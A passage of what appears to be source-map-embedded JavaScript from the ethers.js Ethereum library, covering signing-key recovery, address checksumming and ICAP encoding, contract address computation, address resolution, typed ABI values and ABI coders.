private key which produced the\n * %%signature%% for the given %%digest%%.\n *\n * @example:\n * key = new SigningKey(id(\"some-secret\"))\n * digest = id(\"hello world\")\n * sig = key.sign(digest)\n *\n * // Notice the signer public key...\n * key.publicKey\n * //_result:\n *\n * // ...is equal to the recovered public key\n * SigningKey.recoverPublicKey(digest, sig)\n * //_result:\n *\n */\n static recoverPublicKey(digest, signature) {\n assertArgument(dataLength(digest) === 32, \"invalid digest length\", \"digest\", digest);\n const sig = Signature.from(signature);\n let secpSig = secp256k1.Signature.fromCompact(getBytesCopy(concat([sig.r, sig.s])));\n secpSig = secpSig.addRecoveryBit(sig.yParity);\n const pubKey = secpSig.recoverPublicKey(getBytesCopy(digest));\n assertArgument(pubKey != null, \"invalid signature for digest\", \"signature\", signature);\n return \"0x\" + pubKey.toHex(false);\n }\n /**\n * Returns the point resulting from adding the ellipic curve points\n * %%p0%% and %%p1%%.\n *\n * This is not a common function most developers should require, but\n * can be useful for certain privacy-specific techniques.\n *\n * For example, it is used by [[HDNodeWallet]] to compute child\n * addresses from parent public keys and chain codes.\n */\n static addPoints(p0, p1, compressed) {\n const pub0 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2));\n const pub1 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2));\n return \"0x\" + pub0.add(pub1).toHex(!!compressed);\n }\n}\n//# sourceMappingURL=signing-key.js.map","/**\n * A fundamental building block of Ethereum is the underlying\n * cryptographic primitives.\n *\n * @_section: api/crypto:Cryptographic Functions [about-crypto]\n */\nnull;\n// We import all these so we can export lock()\nimport { computeHmac } from \"./hmac.js\";\nimport { keccak256 } from \"./keccak.js\";\nimport { ripemd160 } from \"./ripemd160.js\";\nimport { pbkdf2 } from \"./pbkdf2.js\";\nimport { randomBytes } from \"./random.js\";\nimport { scrypt, scryptSync } from \"./scrypt.js\";\nimport { sha256, sha512 } from \"./sha2.js\";\nexport { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync };\nexport { SigningKey } from \"./signing-key.js\";\nexport { Signature } from \"./signature.js\";\n/**\n * Once called, prevents any future change to the underlying cryptographic\n * primitives using the ``.register`` feature for hooks.\n */\nfunction lock() {\n computeHmac.lock();\n keccak256.lock();\n pbkdf2.lock();\n randomBytes.lock();\n ripemd160.lock();\n scrypt.lock();\n scryptSync.lock();\n sha256.lock();\n sha512.lock();\n randomBytes.lock();\n}\nexport { lock };\n//# sourceMappingURL=index.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { getBytes, assertArgument } from \"../utils/index.js\";\nconst BN_0 = BigInt(0);\nconst BN_36 = BigInt(36);\nfunction getChecksumAddress(address) {\n // if (!isHexString(address, 20)) {\n // logger.throwArgumentError(\"invalid address\", \"address\", address);\n // }\n address = address.toLowerCase();\n const chars = address.substring(2).split(\"\");\n const expanded = new Uint8Array(40);\n for (let i = 0; i < 40; i++) {\n expanded[i] = chars[i].charCodeAt(0);\n }\n const hashed = getBytes(keccak256(expanded));\n for (let i = 0; i < 40; i += 2) {\n if ((hashed[i >> 1] >> 4) >= 8) {\n chars[i] = chars[i].toUpperCase();\n }\n if ((hashed[i >> 1] & 0x0f) >= 8) {\n chars[i + 1] = chars[i + 1].toUpperCase();\n }\n }\n return \"0x\" + chars.join(\"\");\n}\n// See: https://en.wikipedia.org/wiki/International_Bank_Account_Number\n// Create lookup table\nconst ibanLookup = {};\nfor (let i = 0; i < 10; i++) {\n ibanLookup[String(i)] = String(i);\n}\nfor (let i = 0; i < 26; i++) {\n ibanLookup[String.fromCharCode(65 + i)] = String(10 + i);\n}\n// How many decimal digits can we process? (for 64-bit float, this is 15)\n// i.e. Math.floor(Math.log10(Number.MAX_SAFE_INTEGER));\nconst safeDigits = 15;\nfunction ibanChecksum(address) {\n address = address.toUpperCase();\n address = address.substring(4) + address.substring(0, 2) + \"00\";\n let expanded = address.split(\"\").map((c) => { return ibanLookup[c]; }).join(\"\");\n // Javascript can handle integers safely up to 15 (decimal) digits\n while (expanded.length >= safeDigits) {\n let block = expanded.substring(0, safeDigits);\n expanded = parseInt(block, 10) % 97 + expanded.substring(block.length);\n }\n let checksum = String(98 - (parseInt(expanded, 10) % 97));\n while (checksum.length < 2) {\n checksum = \"0\" + checksum;\n }\n return checksum;\n}\n;\nconst Base36 = (function () {\n ;\n const result = {};\n for (let i = 0; i < 36; i++) {\n const key = \"0123456789abcdefghijklmnopqrstuvwxyz\"[i];\n result[key] = BigInt(i);\n }\n return result;\n})();\nfunction fromBase36(value) {\n value = value.toLowerCase();\n let result = BN_0;\n for (let i = 0; i < value.length; i++) {\n result = result * BN_36 + Base36[value[i]];\n }\n return result;\n}\n/**\n * Returns a normalized and checksumed address for %%address%%.\n * This accepts non-checksum addresses, checksum addresses and\n * [[getIcapAddress]] formats.\n *\n * The checksum in Ethereum uses the capitalization (upper-case\n * vs lower-case) of the characters within an address to encode\n * its checksum, which offers, on average, a checksum of 15-bits.\n *\n * If %%address%% contains both upper-case and lower-case, it is\n * assumed to already be a checksum address and its checksum is\n * validated, and if the address fails its expected checksum an\n * error is thrown.\n *\n * If you wish the checksum of %%address%% to be ignore, it should\n * be converted to lower-case (i.e. ``.toLowercase()``) before\n * being passed in. This should be a very rare situation though,\n * that you wish to bypass the safegaurds in place to protect\n * against an address that has been incorrectly copied from another\n * source.\n *\n * @example:\n * // Adds the checksum (via upper-casing specific letters)\n * getAddress(\"0x8ba1f109551bd432803012645ac136ddd64dba72\")\n * //_result:\n *\n * // Converts ICAP address and adds checksum\n * getAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36\");\n * //_result:\n *\n * // Throws an error if an address contains mixed case,\n * // but the checksum fails\n * getAddress(\"0x8Ba1f109551bD432803012645Ac136ddd64DBA72\")\n * //_error:\n */\nexport function getAddress(address) {\n assertArgument(typeof (address) === \"string\", \"invalid address\", \"address\", address);\n if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) {\n // Missing the 0x prefix\n if (!address.startsWith(\"0x\")) {\n address = \"0x\" + address;\n }\n const result = getChecksumAddress(address);\n // It is a checksummed address with a bad checksum\n assertArgument(!address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || result === address, \"bad address checksum\", \"address\", address);\n return result;\n }\n // Maybe ICAP? (we only support direct mode)\n if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) {\n // It is an ICAP address with a bad checksum\n assertArgument(address.substring(2, 4) === ibanChecksum(address), \"bad icap checksum\", \"address\", address);\n let result = fromBase36(address.substring(4)).toString(16);\n while (result.length < 40) {\n result = \"0\" + result;\n }\n return getChecksumAddress(\"0x\" + result);\n }\n assertArgument(false, \"invalid address\", \"address\", address);\n}\n/**\n * The [ICAP Address format](link-icap) format is an early checksum\n * format which attempts to be compatible with the banking\n * industry [IBAN format](link-wiki-iban) for bank accounts.\n *\n * It is no longer common or a recommended format.\n *\n * @example:\n * getIcapAddress(\"0x8ba1f109551bd432803012645ac136ddd64dba72\");\n * //_result:\n *\n * getIcapAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36\");\n * //_result:\n *\n * // Throws an error if the ICAP checksum is wrong\n * getIcapAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37\");\n * //_error:\n */\nexport function getIcapAddress(address) {\n //let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase();\n let base36 = BigInt(getAddress(address)).toString(36).toUpperCase();\n while (base36.length < 30) {\n base36 = \"0\" + base36;\n }\n return \"XE\" + ibanChecksum(\"XE00\" + base36) + base36;\n}\n//# sourceMappingURL=address.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { concat, dataSlice, getBigInt, getBytes, encodeRlp, assertArgument } from \"../utils/index.js\";\nimport { getAddress } from \"./address.js\";\n// http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed\n/**\n * Returns the address that would result from a ``CREATE`` for %%tx%%.\n *\n * This can be used to compute the address a contract will be\n * deployed to by an EOA when sending a deployment transaction (i.e.\n * when the ``to`` address is ``null``).\n *\n * This can also be used to compute the address a contract will be\n * deployed to by a contract, by using the contract's address as the\n * ``to`` and the contract's nonce.\n *\n * @example\n * from = \"0x8ba1f109551bD432803012645Ac136ddd64DBA72\";\n * nonce = 5;\n *\n * getCreateAddress({ from, nonce });\n * //_result:\n */\nexport function getCreateAddress(tx) {\n const from = getAddress(tx.from);\n const nonce = getBigInt(tx.nonce, \"tx.nonce\");\n let nonceHex = nonce.toString(16);\n if (nonceHex === \"0\") {\n nonceHex = \"0x\";\n }\n else if (nonceHex.length % 2) {\n nonceHex = \"0x0\" + nonceHex;\n }\n else {\n nonceHex = \"0x\" + nonceHex;\n }\n return getAddress(dataSlice(keccak256(encodeRlp([from, nonceHex])), 12));\n}\n/**\n * Returns the address that would result from a ``CREATE2`` operation\n * with the given %%from%%, %%salt%% and %%initCodeHash%%.\n *\n * To compute the %%initCodeHash%% from a contract's init code, use\n * the [[keccak256]] function.\n *\n * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]].\n *\n * @example\n * // The address of the contract\n * from = \"0x8ba1f109551bD432803012645Ac136ddd64DBA72\"\n *\n * // The salt\n * salt = id(\"HelloWorld\")\n *\n * // The hash of the initCode\n * initCode = \"0x6394198df16000526103ff60206004601c335afa6040516060f3\";\n * initCodeHash = keccak256(initCode)\n *\n * getCreate2Address(from, salt, initCodeHash)\n * //_result:\n */\nexport function getCreate2Address(_from, _salt, _initCodeHash) {\n const from = getAddress(_from);\n const salt = getBytes(_salt, \"salt\");\n const initCodeHash = getBytes(_initCodeHash, \"initCodeHash\");\n assertArgument(salt.length === 32, \"salt must be 32 bytes\", \"salt\", _salt);\n assertArgument(initCodeHash.length === 32, \"initCodeHash must be 32 bytes\", \"initCodeHash\", _initCodeHash);\n return getAddress(dataSlice(keccak256(concat([\"0xff\", from, salt, initCodeHash])), 12));\n}\n//# sourceMappingURL=contract-address.js.map","import { assert, assertArgument } from \"../utils/index.js\";\nimport { getAddress } from \"./address.js\";\n/**\n * Returns true if %%value%% is an object which implements the\n * [[Addressable]] interface.\n *\n * @example:\n * // Wallets and AbstractSigner sub-classes\n * isAddressable(Wallet.createRandom())\n * //_result:\n *\n * // Contracts\n * contract = new Contract(\"dai.tokens.ethers.eth\", [ ], provider)\n * isAddressable(contract)\n * //_result:\n */\nexport function isAddressable(value) {\n return (value && typeof (value.getAddress) === \"function\");\n}\n/**\n * Returns true if %%value%% is a valid address.\n *\n * @example:\n * // Valid address\n * isAddress(\"0x8ba1f109551bD432803012645Ac136ddd64DBA72\")\n * //_result:\n *\n * // Valid ICAP address\n * isAddress(\"XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36\")\n * //_result:\n *\n * // Invalid checksum\n * isAddress(\"0x8Ba1f109551bD432803012645Ac136ddd64DBa72\")\n * //_result:\n *\n * // Invalid ICAP checksum\n * isAddress(\"0x8Ba1f109551bD432803012645Ac136ddd64DBA72\")\n * //_result:\n *\n * // Not an address (an ENS name requires a provided and an\n * // asynchronous API to access)\n * isAddress(\"ricmoo.eth\")\n * //_result:\n */\nexport function isAddress(value) {\n try {\n getAddress(value);\n return true;\n }\n catch (error) { }\n return false;\n}\nasync function checkAddress(target, promise) {\n const result = await promise;\n if (result == null || result === \"0x0000000000000000000000000000000000000000\") {\n assert(typeof (target) !== \"string\", \"unconfigured name\", \"UNCONFIGURED_NAME\", { value: target });\n assertArgument(false, \"invalid AddressLike value; did not resolve to a value address\", \"target\", target);\n }\n return getAddress(result);\n}\n/**\n * Resolves to an address for the %%target%%, which may be any\n * supported address type, an [[Addressable]] or a Promise which\n * resolves to an address.\n *\n * If an ENS name is provided, but that name has not been correctly\n * configured a [[UnconfiguredNameError]] is thrown.\n *\n * @example:\n * addr = \"0x6B175474E89094C44Da98b954EedeAC495271d0F\"\n *\n * // Addresses are return synchronously\n * resolveAddress(addr, provider)\n * //_result:\n *\n * // Address promises are resolved asynchronously\n * resolveAddress(Promise.resolve(addr))\n * //_result:\n *\n * // ENS names are resolved asynchronously\n * resolveAddress(\"dai.tokens.ethers.eth\", provider)\n * //_result:\n *\n * // Addressable objects are resolved asynchronously\n * contract = new Contract(addr, [ ])\n * resolveAddress(contract, provider)\n * //_result:\n *\n * // Unconfigured ENS names reject\n * resolveAddress(\"nothing-here.ricmoo.eth\", provider)\n * //_error:\n *\n * // ENS names require a NameResolver object passed in\n * // (notice the provider was omitted)\n * resolveAddress(\"nothing-here.ricmoo.eth\")\n * //_error:\n */\nexport function resolveAddress(target, resolver) {\n if (typeof (target) === \"string\") {\n if (target.match(/^0x[0-9a-f]{40}$/i)) {\n return getAddress(target);\n }\n assert(resolver != null, \"ENS resolution requires a provider\", \"UNSUPPORTED_OPERATION\", { operation: \"resolveName\" });\n return checkAddress(target, resolver.resolveName(target));\n }\n else if (isAddressable(target)) {\n return checkAddress(target, target.getAddress());\n }\n else if (target && typeof (target.then) === \"function\") {\n return checkAddress(target, target);\n }\n assertArgument(false, \"unsupported addressable value\", \"target\", target);\n}\n//# sourceMappingURL=checks.js.map","/**\n * A Typed object allows a value to have its type explicitly\n * specified.\n *\n * For example, in Solidity, the value ``45`` could represent a\n * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent\n * a ``bytes2`` or ``bytes``.\n *\n * Since JavaScript has no meaningful way to explicitly inform any\n * APIs which what the type is, this allows transparent interoperation\n * with Soldity.\n *\n * @_subsection: api/abi:Typed Values\n */\nimport { assertPrivate, defineProperties } from \"../utils/index.js\";\nconst _gaurd = {};\nfunction n(value, width) {\n let signed = false;\n if (width < 0) {\n signed = true;\n width *= -1;\n }\n // @TODO: Check range is valid for value\n return new Typed(_gaurd, `${signed ? \"\" : \"u\"}int${width}`, value, { signed, width });\n}\nfunction b(value, size) {\n // @TODO: Check range is valid for value\n return new Typed(_gaurd, `bytes${(size) ? size : \"\"}`, value, { size });\n}\nconst _typedSymbol = Symbol.for(\"_ethers_typed\");\n/**\n * The **Typed** class to wrap values providing explicit type information.\n */\nexport class Typed {\n /**\n * The type, as a Solidity-compatible type.\n */\n type;\n /**\n * The actual value.\n */\n value;\n #options;\n /**\n * @_ignore:\n */\n _typedSymbol;\n /**\n * @_ignore:\n */\n constructor(gaurd, type, value, options) {\n if (options == null) {\n options = null;\n }\n assertPrivate(_gaurd, gaurd, \"Typed\");\n defineProperties(this, { _typedSymbol, type, value });\n this.#options = options;\n // Check the value is valid\n this.format();\n }\n /**\n * Format the type as a Human-Readable type.\n */\n format() {\n if (this.type === \"array\") {\n throw new Error(\"\");\n }\n else if (this.type === \"dynamicArray\") {\n throw new Error(\"\");\n }\n else if (this.type === \"tuple\") {\n return `tuple(${this.value.map((v) => v.format()).join(\",\")})`;\n }\n return this.type;\n }\n /**\n * The default value returned by this type.\n */\n defaultValue() {\n return 0;\n }\n /**\n * The minimum value for numeric types.\n */\n minValue() {\n return 0;\n }\n /**\n * The maximum value for numeric types.\n */\n maxValue() {\n return 0;\n }\n /**\n * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]].\n */\n isBigInt() {\n return !!(this.type.match(/^u?int[0-9]+$/));\n }\n /**\n * Returns ``true`` and provides a type guard is this is a [[TypedData]].\n */\n isData() {\n return this.type.startsWith(\"bytes\");\n }\n /**\n * Returns ``true`` and provides a type guard is this is a [[TypedString]].\n */\n isString() {\n return (this.type === \"string\");\n }\n /**\n * Returns the tuple name, if this is a tuple. Throws otherwise.\n */\n get tupleName() {\n if (this.type !== \"tuple\") {\n throw TypeError(\"not a tuple\");\n }\n return this.#options;\n }\n // Returns the length of this type as an array\n // - `null` indicates the length is unforced, it could be dynamic\n // - `-1` indicates the length is dynamic\n // - any other value indicates it is a static array and is its length\n /**\n * Returns the length of the array type or ``-1`` if it is dynamic.\n *\n * Throws if the type is not an array.\n */\n get arrayLength() {\n if (this.type !== \"array\") {\n throw TypeError(\"not an array\");\n }\n if (this.#options === true) {\n return -1;\n }\n if (this.#options === false) {\n return (this.value).length;\n }\n return null;\n }\n /**\n * Returns a new **Typed** of %%type%% with the %%value%%.\n */\n static from(type, value) {\n return new Typed(_gaurd, type, value);\n }\n /**\n * Return a new ``uint8`` type for %%v%%.\n */\n static uint8(v) { return n(v, 8); }\n /**\n * Return a new ``uint16`` type for %%v%%.\n */\n static uint16(v) { return n(v, 16); }\n /**\n * Return a new ``uint24`` type for %%v%%.\n */\n static uint24(v) { return n(v, 24); }\n /**\n * Return a new ``uint32`` type for %%v%%.\n */\n static uint32(v) { return n(v, 32); }\n /**\n * Return a new ``uint40`` type for %%v%%.\n */\n static uint40(v) { return n(v, 40); }\n /**\n * Return a new ``uint48`` type for %%v%%.\n */\n static uint48(v) { return n(v, 48); }\n /**\n * Return a new ``uint56`` type for %%v%%.\n */\n static uint56(v) { return n(v, 56); }\n /**\n * Return a new ``uint64`` type for %%v%%.\n */\n static uint64(v) { return n(v, 64); }\n /**\n * Return a new ``uint72`` type for %%v%%.\n */\n static uint72(v) { return n(v, 72); }\n /**\n * Return a new ``uint80`` type for %%v%%.\n */\n static uint80(v) { return n(v, 80); }\n /**\n * Return a new ``uint88`` type for %%v%%.\n */\n static uint88(v) { return n(v, 88); }\n /**\n * Return a new ``uint96`` type for %%v%%.\n */\n static uint96(v) { return n(v, 96); }\n /**\n * Return a new ``uint104`` type for %%v%%.\n */\n static uint104(v) { return n(v, 104); }\n /**\n * Return a new ``uint112`` type for %%v%%.\n */\n static uint112(v) { return n(v, 112); }\n /**\n * Return a new ``uint120`` type for %%v%%.\n */\n static uint120(v) { return n(v, 120); }\n /**\n * Return a new ``uint128`` type for %%v%%.\n */\n static uint128(v) { return n(v, 128); }\n /**\n * Return a new ``uint136`` type for %%v%%.\n */\n static uint136(v) { return n(v, 136); }\n /**\n * Return a new ``uint144`` type for %%v%%.\n */\n static uint144(v) { return n(v, 144); }\n /**\n * Return a new ``uint152`` type for %%v%%.\n */\n static uint152(v) { return n(v, 152); }\n /**\n * Return a new ``uint160`` type for %%v%%.\n */\n static uint160(v) { return n(v, 160); }\n /**\n * Return a new ``uint168`` type for %%v%%.\n */\n static uint168(v) { return n(v, 168); }\n /**\n * Return a new ``uint176`` type for %%v%%.\n */\n static uint176(v) { return n(v, 176); }\n /**\n * Return a new ``uint184`` type for %%v%%.\n */\n static uint184(v) { return n(v, 184); }\n /**\n * Return a new ``uint192`` type for %%v%%.\n */\n static uint192(v) { return n(v, 192); }\n /**\n * Return a new ``uint200`` type for %%v%%.\n */\n static uint200(v) { return n(v, 200); }\n /**\n * Return a new ``uint208`` type for %%v%%.\n */\n static uint208(v) { return n(v, 208); }\n /**\n * Return a new ``uint216`` type for %%v%%.\n */\n static uint216(v) { return n(v, 216); }\n /**\n * Return a new ``uint224`` type for %%v%%.\n */\n static uint224(v) { return n(v, 224); }\n /**\n * Return a new ``uint232`` type for %%v%%.\n */\n static uint232(v) { return n(v, 232); }\n /**\n * Return a new ``uint240`` type for %%v%%.\n */\n static uint240(v) { return n(v, 240); }\n /**\n * Return a new ``uint248`` type for %%v%%.\n */\n static uint248(v) { return n(v, 248); }\n /**\n * Return a new ``uint256`` type for %%v%%.\n */\n static uint256(v) { return n(v, 256); }\n /**\n * Return a new ``uint256`` type for %%v%%.\n */\n static uint(v) { return n(v, 256); }\n /**\n * Return a new ``int8`` type for %%v%%.\n */\n static int8(v) { return n(v, -8); }\n /**\n * Return a new ``int16`` type for %%v%%.\n */\n static int16(v) { return n(v, -16); }\n /**\n * Return a new ``int24`` type for %%v%%.\n */\n static int24(v) { return n(v, -24); }\n /**\n * Return a new ``int32`` type for %%v%%.\n */\n static int32(v) { return n(v, -32); }\n /**\n * Return a new ``int40`` type for %%v%%.\n */\n static int40(v) { return n(v, -40); }\n /**\n * Return a new ``int48`` type for %%v%%.\n */\n static int48(v) { return n(v, -48); }\n /**\n * Return a new ``int56`` type for %%v%%.\n */\n static int56(v) { return n(v, -56); }\n /**\n * Return a new ``int64`` type for %%v%%.\n */\n static int64(v) { return n(v, -64); }\n /**\n * Return a new ``int72`` type for %%v%%.\n */\n static int72(v) { return n(v, -72); }\n /**\n * Return a new ``int80`` type for %%v%%.\n */\n static int80(v) { return n(v, -80); }\n /**\n * Return a new ``int88`` type for %%v%%.\n */\n static int88(v) { return n(v, -88); }\n /**\n * Return a new ``int96`` type for %%v%%.\n */\n static int96(v) { return n(v, -96); }\n /**\n * Return a new ``int104`` type for %%v%%.\n */\n static int104(v) { return n(v, -104); }\n /**\n * Return a new ``int112`` type for %%v%%.\n */\n static int112(v) { return n(v, -112); }\n /**\n * Return a new ``int120`` type for %%v%%.\n */\n static int120(v) { return n(v, -120); }\n /**\n * Return a new ``int128`` type for %%v%%.\n */\n static int128(v) { return n(v, -128); }\n /**\n * Return a new ``int136`` type for %%v%%.\n */\n static int136(v) { return n(v, -136); }\n /**\n * Return a new ``int144`` type for %%v%%.\n */\n static int144(v) { return n(v, -144); }\n /**\n * Return a new ``int52`` type for %%v%%.\n */\n static int152(v) { return n(v, -152); }\n /**\n * Return a new ``int160`` type for %%v%%.\n */\n static int160(v) { return n(v, -160); }\n /**\n * Return a new ``int168`` type for %%v%%.\n */\n static int168(v) { return n(v, -168); }\n /**\n * Return a new ``int176`` type for %%v%%.\n */\n static int176(v) { return n(v, -176); }\n /**\n * Return a new ``int184`` type for %%v%%.\n */\n static int184(v) { return n(v, -184); }\n /**\n * Return a new ``int92`` type for %%v%%.\n */\n static int192(v) { return n(v, -192); }\n /**\n * Return a new ``int200`` type for %%v%%.\n */\n static int200(v) { return n(v, -200); }\n /**\n * Return a new ``int208`` type for %%v%%.\n */\n static int208(v) { return n(v, -208); }\n /**\n * Return a new ``int216`` type for %%v%%.\n */\n static int216(v) { return n(v, -216); }\n /**\n * Return a new ``int224`` type for %%v%%.\n */\n static int224(v) { return n(v, -224); }\n /**\n * Return a new ``int232`` type for %%v%%.\n */\n static int232(v) { return n(v, -232); }\n /**\n * Return a new ``int240`` type for %%v%%.\n */\n static int240(v) { return n(v, -240); }\n /**\n * Return a new ``int248`` type for %%v%%.\n */\n static int248(v) { return n(v, -248); }\n /**\n * Return a new ``int256`` type for %%v%%.\n */\n static int256(v) { return n(v, -256); }\n /**\n * Return a new ``int256`` type for %%v%%.\n */\n static int(v) { return n(v, -256); }\n /**\n * Return a new ``bytes1`` type for %%v%%.\n */\n static bytes1(v) { return b(v, 1); }\n /**\n * Return a new ``bytes2`` type for %%v%%.\n */\n static bytes2(v) { return b(v, 2); }\n /**\n * Return a new ``bytes3`` type for %%v%%.\n */\n static bytes3(v) { return b(v, 3); }\n /**\n * Return a new ``bytes4`` type for %%v%%.\n */\n static bytes4(v) { return b(v, 4); }\n /**\n * Return a new ``bytes5`` type for %%v%%.\n */\n static bytes5(v) { return b(v, 5); }\n /**\n * Return a new ``bytes6`` type for %%v%%.\n */\n static bytes6(v) { return b(v, 6); }\n /**\n * Return a new ``bytes7`` type for %%v%%.\n */\n static bytes7(v) { return b(v, 7); }\n /**\n * Return a new ``bytes8`` type for %%v%%.\n */\n static bytes8(v) { return b(v, 8); }\n /**\n * Return a new ``bytes9`` type for %%v%%.\n */\n static bytes9(v) { return b(v, 9); }\n /**\n * Return a new ``bytes10`` type for %%v%%.\n */\n static bytes10(v) { return b(v, 10); }\n /**\n * Return a new ``bytes11`` type for %%v%%.\n */\n static bytes11(v) { return b(v, 11); }\n /**\n * Return a new ``bytes12`` type for %%v%%.\n */\n static bytes12(v) { return b(v, 12); }\n /**\n * Return a new ``bytes13`` type for %%v%%.\n */\n static bytes13(v) { return b(v, 13); }\n /**\n * Return a new ``bytes14`` type for %%v%%.\n */\n static bytes14(v) { return b(v, 14); }\n /**\n * Return a new ``bytes15`` type for %%v%%.\n */\n static bytes15(v) { return b(v, 15); }\n /**\n * Return a new ``bytes16`` type for %%v%%.\n */\n static bytes16(v) { return b(v, 16); }\n /**\n * Return a new ``bytes17`` type for %%v%%.\n */\n static bytes17(v) { return b(v, 17); }\n /**\n * Return a new ``bytes18`` type for %%v%%.\n */\n static bytes18(v) { return b(v, 18); }\n /**\n * Return a new ``bytes19`` type for %%v%%.\n */\n static bytes19(v) { return b(v, 19); }\n /**\n * Return a new ``bytes20`` type for %%v%%.\n */\n static bytes20(v) { return b(v, 20); }\n /**\n * Return a new ``bytes21`` type for %%v%%.\n */\n static bytes21(v) { return b(v, 21); }\n /**\n * Return a new ``bytes22`` type for %%v%%.\n */\n static bytes22(v) { return b(v, 22); }\n /**\n * Return a new ``bytes23`` type for %%v%%.\n */\n static bytes23(v) { return b(v, 23); }\n /**\n * Return a new ``bytes24`` type for %%v%%.\n */\n static bytes24(v) { return b(v, 24); }\n /**\n * Return a new ``bytes25`` type for %%v%%.\n */\n static bytes25(v) { return b(v, 25); }\n /**\n * Return a new ``bytes26`` type for %%v%%.\n */\n static bytes26(v) { return b(v, 26); }\n /**\n * Return a new ``bytes27`` type for %%v%%.\n */\n static bytes27(v) { return b(v, 27); }\n /**\n * Return a new ``bytes28`` type for %%v%%.\n */\n static bytes28(v) { return b(v, 28); }\n /**\n * Return a new ``bytes29`` type for %%v%%.\n */\n static bytes29(v) { return b(v, 29); }\n /**\n * Return a new ``bytes30`` type for %%v%%.\n */\n static bytes30(v) { return b(v, 30); }\n /**\n * Return a new ``bytes31`` type for %%v%%.\n */\n static bytes31(v) { return b(v, 31); }\n /**\n * Return a new ``bytes32`` type for %%v%%.\n */\n static bytes32(v) { return b(v, 32); }\n /**\n * Return a new ``address`` type for %%v%%.\n */\n static address(v) { return new Typed(_gaurd, \"address\", v); }\n /**\n * Return a new ``bool`` type for %%v%%.\n */\n static bool(v) { return new Typed(_gaurd, \"bool\", !!v); }\n /**\n * Return a new ``bytes`` type for %%v%%.\n */\n static bytes(v) { return new Typed(_gaurd, \"bytes\", v); }\n /**\n * Return a new ``string`` type for %%v%%.\n */\n static string(v) { return new Typed(_gaurd, \"string\", v); }\n /**\n * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length.\n */\n static array(v, dynamic) {\n throw new Error(\"not implemented yet\");\n return new Typed(_gaurd, \"array\", v, dynamic);\n }\n /**\n * Return a new ``tuple`` type for %%v%%, with the optional %%name%%.\n */\n static tuple(v, name) {\n throw new Error(\"not implemented yet\");\n return new Typed(_gaurd, \"tuple\", v, name);\n }\n /**\n * Return a new ``uint8`` type for %%v%%.\n */\n static overrides(v) {\n return new Typed(_gaurd, \"overrides\", Object.assign({}, v));\n }\n /**\n * Returns true only if %%value%% is a [[Typed]] instance.\n */\n static isTyped(value) {\n return (value\n && typeof (value) === \"object\"\n && \"_typedSymbol\" in value\n && value._typedSymbol === _typedSymbol);\n }\n /**\n * If the value is a [[Typed]] instance, validates the underlying value\n * and returns it, otherwise returns value directly.\n *\n * This is useful for functions that with to accept either a [[Typed]]\n * object or values.\n */\n static dereference(value, type) {\n if (Typed.isTyped(value)) {\n if (value.type !== type) {\n throw new Error(`invalid type: expecetd ${type}, got ${value.type}`);\n }\n return value.value;\n }\n return value;\n }\n}\n//# sourceMappingURL=typed.js.map","import { getAddress } from \"../../address/index.js\";\nimport { toBeHex } from \"../../utils/maths.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class AddressCoder extends Coder {\n constructor(localName) {\n super(\"address\", \"address\", localName, false);\n }\n defaultValue() {\n return \"0x0000000000000000000000000000000000000000\";\n }\n encode(writer, _value) {\n let value = Typed.dereference(_value, \"string\");\n try {\n value = getAddress(value);\n }\n catch (error) {\n return this._throwError(error.message, _value);\n }\n return writer.writeValue(value);\n }\n decode(reader) {\n return getAddress(toBeHex(reader.readValue(), 20));\n }\n}\n//# sourceMappingURL=address.js.map","import { Coder } from \"./abstract-coder.js\";\n/**\n * Clones the functionality of an existing Coder, but without a localName\n *\n * @_ignore\n */\nexport class AnonymousCoder extends Coder {\n coder;\n constructor(coder) {\n super(coder.name, coder.type, \"_\", coder.dynamic);\n this.coder = coder;\n }\n defaultValue() {\n return this.coder.defaultValue();\n }\n encode(writer, value) {\n return this.coder.encode(writer, value);\n }\n decode(reader) {\n return this.coder.decode(reader);\n }\n}\n//# sourceMappingURL=anonymous.js.map","import { defineProperties, isError, assert, assertArgument, assertArgumentCount } from \"../../utils/index.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder, Result, WordSize, Writer } from \"./abstract-coder.js\";\nimport { AnonymousCoder } from \"./anonymous.js\";\n/**\n * @_ignore\n */\nexport function pack(writer, coders, values) {\n let arrayValues = [];\n if (Array.isArray(values)) {\n arrayValues = values;\n }\n else if (values && typeof (values) === \"object\") {\n let unique = {};\n arrayValues = coders.map((coder) => {\n const name = coder.localName;\n assert(name, \"cannot encode object for signature with missing names\", \"INVALID_ARGUMENT\", { argument: \"values\", info: { coder }, value: values });\n assert(!unique[name], \"cannot encode object for signature with duplicate names\", \"INVALID_ARGUMENT\", { argument: \"values\", info: { coder }, value: values });\n unique[name] = true;\n return values[name];\n });\n }\n else {\n assertArgument(false, \"invalid tuple value\", \"tuple\", values);\n }\n assertArgument(coders.length === arrayValues.length, \"types/value length mismatch\", \"tuple\", values);\n let staticWriter = new Writer();\n let dynamicWriter = new Writer();\n let updateFuncs = [];\n coders.forEach((coder, index) => {\n let value = arrayValues[index];\n if (coder.dynamic) {\n // Get current dynamic offset (for the future pointer)\n let dynamicOffset = dynamicWriter.length;\n // Encode the dynamic value into the dynamicWriter\n coder.encode(dynamicWriter, value);\n // Prepare to populate the correct offset once we are done\n let updateFunc = staticWriter.writeUpdatableValue();\n updateFuncs.push((baseOffset) => {\n updateFunc(baseOffset + 